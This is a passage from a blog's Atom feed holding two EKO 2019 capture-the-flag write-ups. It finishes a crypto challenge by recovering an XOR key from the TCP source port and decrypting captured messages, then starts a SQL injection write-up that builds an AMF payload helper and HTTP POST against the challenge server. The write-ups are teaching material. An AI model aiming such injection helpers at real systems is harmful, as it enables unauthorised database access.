&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CldlIHNheSAqYWxtb3N0KiBiZWNhdXNlIHRvIHJ1bnMgb2YgdGhlIGtleSBzdHJlYW0gd2lsbCBiZSBpZGVudGljYWwgdW50aWwKb25lIG9mIHRoZW0sIGJhc2VkIG9uIHRoZSBwbGFpbnRleHQsIGhpdCB0aGUgYGB4ID09IDAgb3IgeCA9PSBrZXlgYCBjb25kaXRpb24KKnNoaWZ0aW5nKiB3aXRoIHJlc3BlY3QgdGhlIG90aGVyLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlIHNheSAqYWxtb3N0KiBiZWNhdXNlIHRvIHJ1bnMgb2YgdGhlIGtleSBzdHJlYW0gd2lsbCBiZSBpZGVudGljYWwgdW50aWwKb25lIG9mIHRoZW0sIGJhc2VkIG9uIHRoZSBwbGFpbnRleHQsIGhpdCB0aGUgYGB4ID09IDAgb3IgeCA9PSBrZXlgYCBjb25kaXRpb24KKnNoaWZ0aW5nKiB3aXRoIHJlc3BlY3QgdGhlIG90aGVyLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
We say &lt;em&gt;almost&lt;/em&gt; because to runs of the key stream will be identical until one of them, based on the plaintext, hit the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; condition &lt;em&gt;shifting&lt;/em&gt; with respect the other.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Another particularity is that the cipher is &lt;em&gt;stateless&lt;/em&gt;: two plaintexts will be encrypted with &lt;em&gt;almost&lt;/em&gt; the same key stream.&lt;/p&gt;
&lt;p&gt;The other interesting part is how the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_seed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;key_shift&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are initialized.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sk&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getsockname&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;key_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;65280&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;key_shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='ClRoZSBwY2FwIGhhZCBvbmx5IG9uZSBzaW5nbGUgVENQIHN0cmVhbSBidXQgaW4gbXVjaCBub3NpZXIgY2FwdHVyZXMKaXQgaXMgaGFuZHkgdG8gdXNlIGBgU3RhdGlzdGljID4gQ29udmVyc2F0aW9uc2BgIGluIGBgd2lyZXNoYXJrYGAKdG8gc3VtbWFyaXplIHRoZSBwcm90b2NvbHMsIGFkZHJlc3NlcyBhbmQgcG9ydHMuIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBwY2FwIGhhZCBvbmx5IG9uZSBzaW5nbGUgVENQIHN0cmVhbSBidXQgaW4gbXVjaCBub3NpZXIgY2FwdHVyZXMKaXQgaXMgaGFuZHkgdG8gdXNlIGBgU3RhdGlzdGljID4gQ29udmVyc2F0aW9uc2BgIGluIGBgd2lyZXNoYXJrYGAKdG8gc3VtbWFyaXplIHRoZSBwcm90b2NvbHMsIGFkZHJlc3NlcyBhbmQgcG9ydHMuIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The pcap had only one single TCP stream but in much nosier captures it is handy to use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Statistic&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Conversations&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wireshark&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to summarize the protocols, addresses and ports.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Not secret at all. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;srcport&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the source port chosen by the OS that from the &lt;a href="/assets/writeups/eko2019/bytecode/cipherchat.pcap"&gt;pcap&lt;/a&gt; we know that it is 47898.&lt;/p&gt;
&lt;p&gt;So&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;47898&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;65280&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;srcport&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key_seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_shift&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;187&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="decrypting"&gt;Decrypting&lt;/h2&gt;
&lt;p&gt;With this and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encxor&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function we can decrypt every message sent from the client to the server.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFub3RoZXIgYGB3aXJlc2hhcmtgYCB0aXA6IHNlbGVjdCBvbmUgcGFja2V0LCB0aGVuCmBgRm9sbG93IFRDUCBzdHJlYW1gYCwgZmlsdGVyIHRvIHNlZSBvbmx5IHRoZSBgYGNsaWVudC0+c2VydmVyYGAgcGFja2V0cwphbmQgc2VsZWN0IGBgc2hvdyBkYXRhYGAgYXMgYGByYXdgYC4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFub3RoZXIgYGB3aXJlc2hhcmtgYCB0aXA6IHNlbGVjdCBvbmUgcGFja2V0LCB0aGVuCmBgRm9sbG93IFRDUCBzdHJlYW1gYCwgZmlsdGVyIHRvIHNlZSBvbmx5IHRoZSBgYGNsaWVudC0+c2VydmVyYGAgcGFja2V0cwphbmQgc2VsZWN0IGBgc2hvdyBkYXRhYGAgYXMgYGByYXdgYC4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Another &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;wireshark&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; tip: select one packet, then &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Follow&lt;/span&gt; &lt;span class="n"&gt;TCP&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, filter to see only the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; packets and select &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;show&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Which by the way are these:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;... cba28100&lt;/span&gt;
&lt;span class="s1"&gt;... 94bd8a655300&lt;/span&gt;
&lt;span class="s1"&gt;... 94a586674400&lt;/span&gt;
&lt;span class="s1"&gt;... 94b08c614c1d1f18abc7cdb600&lt;/span&gt;
&lt;span class="s1"&gt;... 94b08c614c1d26e3c4cbf9927f4261221afa89a7b29e7f4c7a00&lt;/span&gt;
&lt;span class="s1"&gt;... 94b08c614c1d1e51ffcdd6b7982d53293a01afd0aca8d77059207f15fcc2ac8895720f2f0c0fb7c5a380df7f5f2ce600&lt;/span&gt;
&lt;span class="s1"&gt;... 94b08c614c1d341ee4c993f9ba2d4f202d10afddabb484314d2a2d59eac2b2dbdb506406180de4d4be819046432815e7fed6bbb6707854230ee6e6e68bdd555c00&lt;/span&gt;
&lt;span class="s1"&gt;... 94b08c614c1d301eabc2d0f8d36148203f55e6dde3b49931522a2a59f1c2a6939f00&lt;/span&gt;
&lt;span class="s1"&gt;... 94a586674400&lt;/span&gt;
&lt;span class="s1"&gt;... 94a49a605700&lt;/span&gt;
&lt;span class="s1"&gt;... &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;            &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;msgs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;msgs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;latin-1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encxor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pwn&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/help&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/ping&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/echo Hi bro&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/echo What are you doing?&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/echo I think that you are looking for the flag&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/echo cool, I have this for you: EKO&lt;/span&gt;&lt;span class="si"&gt;{pseudo_perfect_secrecy_X0R}&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/echo go go! load it in you board&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/ping&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/quit&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That’s it: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;EKO&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pseudo_perfect_secrecy_X0R&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/10/01/Writeup-EKO2019-Cipherchat.html" rel="alternate" type="text/html" title="Cipherchat (Crypto writeup - EKO 2019)"/>
    <category term="challenge" label="challenge"/>
    <category term="eko" label="eko"/>
    <category term="hacking" label="hacking"/>
    <category term="python" label="python"/>
    <category term="bytecode" label="bytecode"/>
    <published>2019-10-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/09/29/Writeup-EKO2019-Weirdo.html</id>
    <title>Weirdo (SQLi writeup - EKO 2019)</title>
    <updated>2019-09-29T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Quick writeup of a SQL injection challenge.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;We start with a &lt;a href="/assets/writeups/eko2019/sql-injection/wtf.pcap"&gt;pcap&lt;/a&gt; of a HTTP communication between a client and a server.&lt;/p&gt;
&lt;p&gt;It is only one request/response.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;wireshark&lt;/code&gt; we can see that the parties are talking using &lt;a href="https://en.wikipedia.org/wiki/Action_Message_Format"&gt;AMF&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here is the decoded &lt;code&gt;POST&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hypertext Transfer Protocol
    POST / HTTP/1.1
    Content-type: application/x-amf
    Content-Length: 40
Action Message Format
    AMF version: 0
    Header count: 0
    Message count: 1
    Messages
        Target URI: EKO.CTF
        Response URI: /1
        Length: Unknown
        ECMA array (1 items)
            AMF0 type: ECMA array (0x08)
            Array length: 0
            Property &amp;#39;q&amp;#39; String &amp;#39;arg&amp;#39;
                Name: q
                    String length: 1
                    String: q
                String &amp;#39;arg&amp;#39;
                    AMF0 type: String (0x02)
                    String length: 3
                    String: arg
            End Of Object Marker&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="brief-amf-disassemble"&gt;Brief AMF Disassemble&lt;/h3&gt;
&lt;p&gt;In particular, this is the hexdump of the AMF message:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000   00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00
0010   02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02
0020   00 03 61 72 67 00 00 09&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the end to the begin, the &lt;code&gt;00 00 09&lt;/code&gt; is the &lt;code&gt;End of Object Marker&lt;/code&gt;, &lt;code&gt;02 00 03 61 72 67&lt;/code&gt; is the &lt;code&gt;arg&lt;/code&gt; string, in ASCII prefixed with 2 bytes that determines its length in big endian and all of that is prefixed with on byte, &lt;code&gt;02&lt;/code&gt; that says what follows is a string.&lt;/p&gt;
&lt;p&gt;I’m going to stop here as my understanding of AMF is quite low and it deserves a separate post.&lt;/p&gt;
&lt;p&gt;Playing with the value of the query, this &lt;code&gt;arg&lt;/code&gt;, is all what we need to get some fun.&lt;/p&gt;
&lt;p&gt;Replacing &lt;code&gt;arg&lt;/code&gt; with &lt;code&gt;'xx&lt;/code&gt; we get a database error showing that the server is vulnerable to a SQL injection.&lt;/p&gt;
&lt;p&gt;So you know what I’m talking about.&lt;/p&gt;
&lt;h3 id="custom-queries"&gt;Custom Queries&lt;/h3&gt;
&lt;p&gt;Before playing, we need a simple way to submit custom queries.&lt;/p&gt;
&lt;p&gt;We treat the AMF message as an opaque string, the only thing that we need is to inject an arbitrary string &lt;code&gt;q&lt;/code&gt; prefixed with its size.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;... 00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00&lt;/span&gt;
&lt;span class="s1"&gt;... 02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02&lt;/span&gt;
&lt;span class="s1"&gt;... &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;eom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;  &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;00 00 09&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;q&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;H&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# uint16, big endian&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hdr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;eom&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We wrap this into a HTTP POST.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://wtf.eko.cap.tf/&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

